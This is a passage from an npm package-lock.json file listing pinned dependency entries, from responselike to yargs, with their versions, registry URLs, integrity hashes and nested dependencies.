1766 | }
1767 | },
1768 | "node_modules/responselike": {
1769 | "version": "1.0.2",
1770 | "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz",
1771 | "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=",
1772 | "dependencies": {
1773 | "lowercase-keys": "^1.0.0"
1774 | }
1775 | },
1776 | "node_modules/rimraf": {
1777 | "version": "3.0.2",
1778 | "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
1779 | "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
1780 | "dependencies": {
1781 | "glob": "^7.1.3"
1782 | },
1783 | "bin": {
1784 | "rimraf": "bin.js"
1785 | },
1786 | "funding": {
1787 | "url": "https://github.com/sponsors/isaacs"
1788 | }
1789 | },
1790 | "node_modules/rxjs": {
1791 | "version": "6.6.7",
1792 | "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz",
1793 | "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==",
1794 | "dependencies": {
1795 | "tslib": "^1.9.0"
1796 | },
1797 | "engines": {
1798 | "npm": ">=2.0.0"
1799 | }
1800 | },
1801 | "node_modules/safe-buffer": {
1802 | "version": "5.2.1",
1803 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
1804 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
1805 | "funding": [
1806 | {
1807 | "type": "github",
1808 | "url": "https://github.com/sponsors/feross"
1809 | },
1810 | {
1811 | "type": "patreon",
1812 | "url": "https://www.patreon.com/feross"
1813 | },
1814 | {
1815 | "type": "consulting",
1816 | "url": "https://feross.org/support"
1817 | }
1818 | ]
1819 | },
1820 | "node_modules/safer-buffer": {
1821 | "version": "2.1.2",
1822 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
1823 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
1824 | },
1825 | "node_modules/saslprep": {
1826 | "version": "1.0.3",
1827 | "resolved": "https://registry.npmjs.org/saslprep/-/saslprep-1.0.3.tgz",
1828 | "integrity": "sha512-/MY/PEMbk2SuY5sScONwhUDsV2p77Znkb/q3nSVstq/yQzYJOH/Azh29p9oJLsl3LnQwSvZDKagDGBsBwSooag==",
1829 | "optional": true,
1830 | "dependencies": {
1831 | "sparse-bitfield": "^3.0.3"
1832 | },
1833 | "engines": {
1834 | "node": ">=6"
1835 | }
1836 | },
1837 | "node_modules/semver": {
1838 | "version": "7.3.5",
1839 | "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
1840 | "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==",
1841 | "dependencies": {
1842 | "lru-cache": "^6.0.0"
1843 | },
1844 | "bin": {
1845 | "semver": "bin/semver.js"
1846 | },
1847 | "engines": {
1848 | "node": ">=10"
1849 | }
1850 | },
1851 | "node_modules/semver-diff": {
1852 | "version": "3.1.1",
1853 | "resolved": "https://registry.npmjs.org/semver-diff/-/semver-diff-3.1.1.tgz",
1854 | "integrity": "sha512-GX0Ix/CJcHyB8c4ykpHGIAvLyOwOobtM/8d+TQkAd81/bEjgPHrfba41Vpesr7jX/t8Uh+R3EX9eAS5be+jQYg==",
1855 | "dependencies": {
1856 | "semver": "^6.3.0"
1857 | },
1858 | "engines": {
1859 | "node": ">=8"
1860 | }
1861 | },
1862 | "node_modules/semver-diff/node_modules/semver": {
1863 | "version": "6.3.0",
1864 | "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
1865 | "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
1866 | "bin": {
1867 | "semver": "bin/semver.js"
1868 | }
1869 | },
1870 | "node_modules/set-blocking": {
1871 | "version": "2.0.0",
1872 | "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
1873 | "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc="
1874 | },
1875 | "node_modules/settings": {
1876 | "version": "0.1.1",
1877 | "resolved": "https://registry.npmjs.org/settings/-/settings-0.1.1.tgz",
1878 | "integrity": "sha1-77o3iIs+yJXTjePxLmst6/FIY0E="
1879 | },
1880 | "node_modules/sift": {
1881 | "version": "13.5.2",
1882 | "resolved": "https://registry.npmjs.org/sift/-/sift-13.5.2.tgz",
1883 | "integrity": "sha512-+gxdEOMA2J+AI+fVsCqeNn7Tgx3M9ZN9jdi95939l1IJ8cZsqS8sqpJyOkic2SJk+1+98Uwryt/gL6XDaV+UZA=="
1884 | },
1885 | "node_modules/signal-exit": {
1886 | "version": "3.0.5",
1887 | "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.5.tgz",
1888 | "integrity": "sha512-KWcOiKeQj6ZyXx7zq4YxSMgHRlod4czeBQZrPb8OKcohcqAXShm7E20kEMle9WBt26hFcAf0qLOcp5zmY7kOqQ=="
1889 | },
1890 | "node_modules/sliced": {
1891 | "version": "1.0.1",
1892 | "resolved": "https://registry.npmjs.org/sliced/-/sliced-1.0.1.tgz",
1893 | "integrity": "sha1-CzpmK10Ewxd7GSa+qCsD+Dei70E="
1894 | },
1895 | "node_modules/sparse-bitfield": {
1896 | "version": "3.0.3",
1897 | "resolved": "https://registry.npmjs.org/sparse-bitfield/-/sparse-bitfield-3.0.3.tgz",
1898 | "integrity": "sha1-/0rm5oZWBWuks+eSqzM004JzyhE=",
1899 | "optional": true,
1900 | "dependencies": {
1901 | "memory-pager": "^1.0.2"
1902 | }
1903 | },
1904 | "node_modules/spawn-command": {
1905 | "version": "0.0.2-1",
1906 | "resolved": "https://registry.npmjs.org/spawn-command/-/spawn-command-0.0.2-1.tgz",
1907 | "integrity": "sha1-YvXpRmmBwbeW3Fkpk34RycaSG9A="
1908 | },
1909 | "node_modules/ssh-keygen": {
1910 | "version": "0.5.0",
1911 | "resolved": "https://registry.npmjs.org/ssh-keygen/-/ssh-keygen-0.5.0.tgz",
1912 | "integrity": "sha512-TZmhcpeZTkEnIZF0aItjXz0zIIkHnJyti4bIFiO4Ir0tqwsKDPtC7nFnvjPAy/diGXNy7m5ZcGg44QfUNA9y5g==",
1913 | "dependencies": {
1914 | "underscore": "1.4.x"
1915 | },
1916 | "engines": {
1917 | "node": ">= 0.6.0"
1918 | }
1919 | },
1920 | "node_modules/ssh2": {
1921 | "version": "1.5.0",
1922 | "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-1.5.0.tgz",
1923 | "integrity": "sha512-iUmRkhH9KGeszQwDW7YyyqjsMTf4z+0o48Cp4xOwlY5LjtbIAvyd3fwnsoUZW/hXmTCRA3yt7S/Jb9uVjErVlA==",
1924 | "hasInstallScript": true,
1925 | "dependencies": {
1926 | "asn1": "^0.2.4",
1927 | "bcrypt-pbkdf": "^1.0.2"
1928 | },
1929 | "engines": {
1930 | "node": ">=10.16.0"
1931 | },
1932 | "optionalDependencies": {
1933 | "cpu-features": "0.0.2",
1934 | "nan": "^2.15.0"
1935 | }
1936 | },
1937 | "node_modules/string_decoder": {
1938 | "version": "1.3.0",
1939 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
1940 | "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
1941 | "dependencies": {
1942 | "safe-buffer": "~5.2.0"
1943 | }
1944 | },
1945 | "node_modules/string-width": {
1946 | "version": "2.1.1",
1947 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz",
1948 | "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==",
1949 | "dependencies": {
1950 | "is-fullwidth-code-point": "^2.0.0",
1951 | "strip-ansi": "^4.0.0"
1952 | },
1953 | "engines": {
1954 | "node": ">=4"
1955 | }
1956 | },
1957 | "node_modules/strip-ansi": {
1958 | "version": "4.0.0",
1959 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
1960 | "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
1961 | "dependencies": {
1962 | "ansi-regex": "^3.0.0"
1963 | },
1964 | "engines": {
1965 | "node": ">=4"
1966 | }
1967 | },
1968 | "node_modules/strip-json-comments": {
1969 | "version": "2.0.1",
1970 | "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
1971 | "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=",
1972 | "engines": {
1973 | "node": ">=0.10.0"
1974 | }
1975 | },
1976 | "node_modules/supports-color": {
1977 | "version": "8.1.1",
1978 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
1979 | "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
1980 | "dependencies": {
1981 | "has-flag": "^4.0.0"
1982 | },
1983 | "engines": {
1984 | "node": ">=10"
1985 | },
1986 | "funding": {
1987 | "url": "https://github.com/chalk/supports-color?sponsor=1"
1988 | }
1989 | },
1990 | "node_modules/tar": {
1991 | "version": "6.1.11",
1992 | "resolved": "https://registry.npmjs.org/tar/-/tar-6.1.11.tgz",
1993 | "integrity": "sha512-an/KZQzQUkZCkuoAA64hM92X0Urb6VpRhAFllDzz44U2mcD5scmT3zBc4VgVpkugF580+DQn8eAFSyoQt0tznA==",
1994 | "dependencies": {
1995 | "chownr": "^2.0.0",
1996 | "fs-minipass": "^2.0.0",
1997 | "minipass": "^3.0.0",
1998 | "minizlib": "^2.1.1",
1999 | "mkdirp": "^1.0.3",
2000 | "yallist": "^4.0.0"
2001 | },
2002 | "engines": {
2003 | "node": ">= 10"
2004 | }
2005 | },
2006 | "node_modules/to-readable-stream": {
2007 | "version": "1.0.0",
2008 | "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz",
2009 | "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==",
2010 | "engines": {
2011 | "node": ">=6"
2012 | }
2013 | },
2014 | "node_modules/to-regex-range": {
2015 | "version": "5.0.1",
2016 | "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
2017 | "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
2018 | "dependencies": {
2019 | "is-number": "^7.0.0"
2020 | },
2021 | "engines": {
2022 | "node": ">=8.0"
2023 | }
2024 | },
2025 | "node_modules/touch": {
2026 | "version": "3.1.0",
2027 | "resolved": "https://registry.npmjs.org/touch/-/touch-3.1.0.tgz",
2028 | "integrity": "sha512-WBx8Uy5TLtOSRtIq+M03/sKDrXCLHxwDcquSP2c43Le03/9serjQBIztjRz6FkJez9D/hleyAXTBGLwwZUw9lA==",
2029 | "dependencies": {
2030 | "nopt": "~1.0.10"
2031 | },
2032 | "bin": {
2033 | "nodetouch": "bin/nodetouch.js"
2034 | }
2035 | },
2036 | "node_modules/touch/node_modules/nopt": {
2037 | "version": "1.0.10",
2038 | "resolved": "https://registry.npmjs.org/nopt/-/nopt-1.0.10.tgz",
2039 | "integrity": "sha1-bd0hvSoxQXuScn3Vhfim83YI6+4=",
2040 | "dependencies": {
2041 | "abbrev": "1"
2042 | },
2043 | "bin": {
2044 | "nopt": "bin/nopt.js"
2045 | },
2046 | "engines": {
2047 | "node": "*"
2048 | }
2049 | },
2050 | "node_modules/tr46": {
2051 | "version": "3.0.0",
2052 | "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz",
2053 | "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==",
2054 | "dependencies": {
2055 | "punycode": "^2.1.1"
2056 | },
2057 | "engines": {
2058 | "node": ">=12"
2059 | }
2060 | },
2061 | "node_modules/tree-kill": {
2062 | "version": "1.2.2",
2063 | "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz",
2064 | "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==",
2065 | "bin": {
2066 | "tree-kill": "cli.js"
2067 | }
2068 | },
2069 | "node_modules/tslib": {
2070 | "version": "1.14.1",
2071 | "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
2072 | "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
2073 | },
2074 | "node_modules/tweetnacl": {
2075 | "version": "0.14.5",
2076 | "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
2077 | "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q="
2078 | },
2079 | "node_modules/type-fest": {
2080 | "version": "0.20.2",
2081 | "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
2082 | "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
2083 | "engines": {
2084 | "node": ">=10"
2085 | },
2086 | "funding": {
2087 | "url": "https://github.com/sponsors/sindresorhus"
2088 | }
2089 | },
2090 | "node_modules/typedarray-to-buffer": {
2091 | "version": "3.1.5",
2092 | "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
2093 | "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
2094 | "dependencies": {
2095 | "is-typedarray": "^1.0.0"
2096 | }
2097 | },
2098 | "node_modules/undefsafe": {
2099 | "version": "2.0.5",
2100 | "resolved": "https://registry.npmjs.org/undefsafe/-/undefsafe-2.0.5.tgz",
2101 | "integrity": "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA=="
2102 | },
2103 | "node_modules/underscore": {
2104 | "version": "1.4.4",
2105 | "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.4.4.tgz",
2106 | "integrity": "sha1-YaajIBBiKvoHljvzJSA88SI51gQ="
2107 | },
2108 | "node_modules/unique-string": {
2109 | "version": "2.0.0",
2110 | "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz",
2111 | "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==",
2112 | "dependencies": {
2113 | "crypto-random-string": "^2.0.0"
2114 | },
2115 | "engines": {
2116 | "node": ">=8"
2117 | }
2118 | },
2119 | "node_modules/update-notifier": {
2120 | "version": "5.1.0",
2121 | "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-5.1.0.tgz",
2122 | "integrity": "sha512-ItnICHbeMh9GqUy31hFPrD1kcuZ3rpxDZbf4KUDavXwS0bW5m7SLbDQpGX3UYr072cbrF5hFUs3r5tUsPwjfHw==",
2123 | "dependencies": {
2124 | "boxen": "^5.0.0",
2125 | "chalk": "^4.1.0",
2126 | "configstore": "^5.0.1",
2127 | "has-yarn": "^2.1.0",
2128 | "import-lazy": "^2.1.0",
2129 | "is-ci": "^2.0.0",
2130 | "is-installed-globally": "^0.4.0",
2131 | "is-npm": "^5.0.0",
2132 | "is-yarn-global": "^0.3.0",
2133 | "latest-version": "^5.1.0",
2134 | "pupa": "^2.1.1",
2135 | "semver": "^7.3.4",
2136 | "semver-diff": "^3.1.1",
2137 | "xdg-basedir": "^4.0.0"
2138 | },
2139 | "engines": {
2140 | "node": ">=10"
2141 | },
2142 | "funding": {
2143 | "url": "https://github.com/yeoman/update-notifier?sponsor=1"
2144 | }
2145 | },
2146 | "node_modules/url-parse-lax": {
2147 | "version": "3.0.0",
2148 | "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz",
2149 | "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=",
2150 | "dependencies": {
2151 | "prepend-http": "^2.0.0"
2152 | },
2153 | "engines": {
2154 | "node": ">=4"
2155 | }
2156 | },
2157 | "node_modules/util": {
2158 | "version": "0.10.4",
2159 | "resolved": "https://registry.npmjs.org/util/-/util-0.10.4.tgz",
2160 | "integrity": "sha512-0Pm9hTQ3se5ll1XihRic3FDIku70C+iHUdT/W926rSgHV5QgXsYbKZN8MSC3tJtSkhuROzvsQjAaFENRXr+19A==",
2161 | "dependencies": {
2162 | "inherits": "2.0.3"
2163 | }
2164 | },
2165 | "node_modules/util-deprecate": {
2166 | "version": "1.0.2",
2167 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
2168 | "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
2169 | },
2170 | "node_modules/webidl-conversions": {
2171 | "version": "7.0.0",
2172 | "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz",
2173 | "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==",
2174 | "engines": {
2175 | "node": ">=12"
2176 | }
2177 | },
2178 | "node_modules/whatwg-url": {
2179 | "version": "11.0.0",
2180 | "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz",
2181 | "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==",
2182 | "dependencies": {
2183 | "tr46": "^3.0.0",
2184 | "webidl-conversions": "^7.0.0"
2185 | },
2186 | "engines": {
2187 | "node": ">=12"
2188 | }
2189 | },
2190 | "node_modules/wide-align": {
2191 | "version": "1.1.5",
2192 | "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz",
2193 | "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==",
2194 | "dependencies": {
2195 | "string-width": "^1.0.2 || 2 || 3 || 4"
2196 | }
2197 | },
2198 | "node_modules/widest-line": {
2199 | "version": "3.1.0",
2200 | "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-3.1.0.tgz",
2201 | "integrity": "sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==",
2202 | "dependencies": {
2203 | "string-width": "^4.0.0"
2204 | },
2205 | "engines": {
2206 | "node": ">=8"
2207 | }
2208 | },
2209 | "node_modules/widest-line/node_modules/ansi-regex": {
2210 | "version": "5.0.1",
2211 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
2212 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
2213 | "engines": {
2214 | "node": ">=8"
2215 | }
2216 | },
2217 | "node_modules/widest-line/node_modules/is-fullwidth-code-point": {
2218 | "version": "3.0.0",
2219 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
2220 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
2221 | "engines": {
2222 | "node": ">=8"
2223 | }
2224 | },
2225 | "node_modules/widest-line/node_modules/string-width": {
2226 | "version": "4.2.3",
2227 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
2228 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
2229 | "dependencies": {
2230 | "emoji-regex": "^8.0.0",
2231 | "is-fullwidth-code-point": "^3.0.0",
2232 | "strip-ansi": "^6.0.1"
2233 | },
2234 | "engines": {
2235 | "node": ">=8"
2236 | }
2237 | },
2238 | "node_modules/widest-line/node_modules/strip-ansi": {
2239 | "version": "6.0.1",
2240 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
2241 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
2242 | "dependencies": {
2243 | "ansi-regex": "^5.0.1"
2244 | },
2245 | "engines": {
2246 | "node": ">=8"
2247 | }
2248 | },
2249 | "node_modules/wrap-ansi": {
2250 | "version": "7.0.0",
2251 | "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
2252 | "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
2253 | "dependencies": {
2254 | "ansi-styles": "^4.0.0",
2255 | "string-width": "^4.1.0",
2256 | "strip-ansi": "^6.0.0"
2257 | },
2258 | "engines": {
2259 | "node": ">=10"
2260 | },
2261 | "funding": {
2262 | "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
2263 | }
2264 | },
2265 | "node_modules/wrap-ansi/node_modules/ansi-regex": {
2266 | "version": "5.0.1",
2267 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
2268 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
2269 | "engines": {
2270 | "node": ">=8"
2271 | }
2272 | },
2273 | "node_modules/wrap-ansi/node_modules/is-fullwidth-code-point": {
2274 | "version": "3.0.0",
2275 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
2276 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
2277 | "engines": {
2278 | "node": ">=8"
2279 | }
2280 | },
2281 | "node_modules/wrap-ansi/node_modules/string-width": {
2282 | "version": "4.2.3",
2283 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
2284 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
2285 | "dependencies": {
2286 | "emoji-regex": "^8.0.0",
2287 | "is-fullwidth-code-point": "^3.0.0",
2288 | "strip-ansi": "^6.0.1"
2289 | },
2290 | "engines": {
2291 | "node": ">=8"
2292 | }
2293 | },
2294 | "node_modules/wrap-ansi/node_modules/strip-ansi": {
2295 | "version": "6.0.1",
2296 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
2297 | "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
2298 | "dependencies": {
2299 | "ansi-regex": "^5.0.1"
2300 | },
2301 | "engines": {
2302 | "node": ">=8"
2303 | }
2304 | },
2305 | "node_modules/wrappy": {
2306 | "version": "1.0.2",
2307 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
2308 | "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
2309 | },
2310 | "node_modules/write-file-atomic": {
2311 | "version": "3.0.3",
2312 | "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz",
2313 | "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==",
2314 | "dependencies": {
2315 | "imurmurhash": "^0.1.4",
2316 | "is-typedarray": "^1.0.0",
2317 | "signal-exit": "^3.0.2",
2318 | "typedarray-to-buffer": "^3.1.5"
2319 | }
2320 | },
2321 | "node_modules/xdg-basedir": {
2322 | "version": "4.0.0",
2323 | "resolved": "https://registry.npmjs.org/xdg-basedir/-/xdg-basedir-4.0.0.tgz",
2324 | "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q==",
2325 | "engines": {
2326 | "node": ">=8"
2327 | }
2328 | },
2329 | "node_modules/y18n": {
2330 | "version": "5.0.8",
2331 | "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
2332 | "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
2333 | "engines": {
2334 | "node": ">=10"
2335 | }
2336 | },
2337 | "node_modules/yallist": {
2338 | "version": "4.0.0",
2339 | "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
2340 | "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
2341 | },
2342 | "node_modules/yargs": {
2343 | "version": "16.2.0",
2344 | "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
2345 | "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
2346 | "dependencies": {
2347 | "cliui": "^7.0.2",
2348 | "escalade": "^3.1.1",
2349 | "get-caller-file": "^2.0.5",
2350 | "require-directory": "^2.1.1",
2351 | "string-width": "^4.2.0",
2352 | "y18n": "^5.0.5",
2353 | "yargs-parser": "^20.2.2"
2354 | },
2355 | "engines": {
2356 | "node": ">=10"
2357 | }
2358 | },
2359 | "node_modules/yargs-parser": {
2360 | "version": "20.2.9",
2361 | "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz",
2362 | "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==",
2363 | "engines": {
2364 | "node": ">=10"
2365 | }
2366 | },
2367 | "node_modules/yargs/node_modules/ansi-regex": {
2368 | "version": "5.0.1",
2369 | "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
2370 | "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
2371 | "engines": {
2372 | "node": ">=8"
2373 | }
2374 | },
2375 | "node_modules/yargs/node_modules/is-fullwidth-code-point": {
2376 | "version": "3.0.0",
2377 | "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
2378 | "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
2379 | "engines": {
2380 | "node": ">=8"
2381 | }
2382 | },
2383 | "node_modules/yargs/node_modules/string-width": {
2384 | "version": "4.2.3",
2385 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
2386 | "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
2387 | "dependencies": {
2388 | "emoji-regex": "^8.0.0",
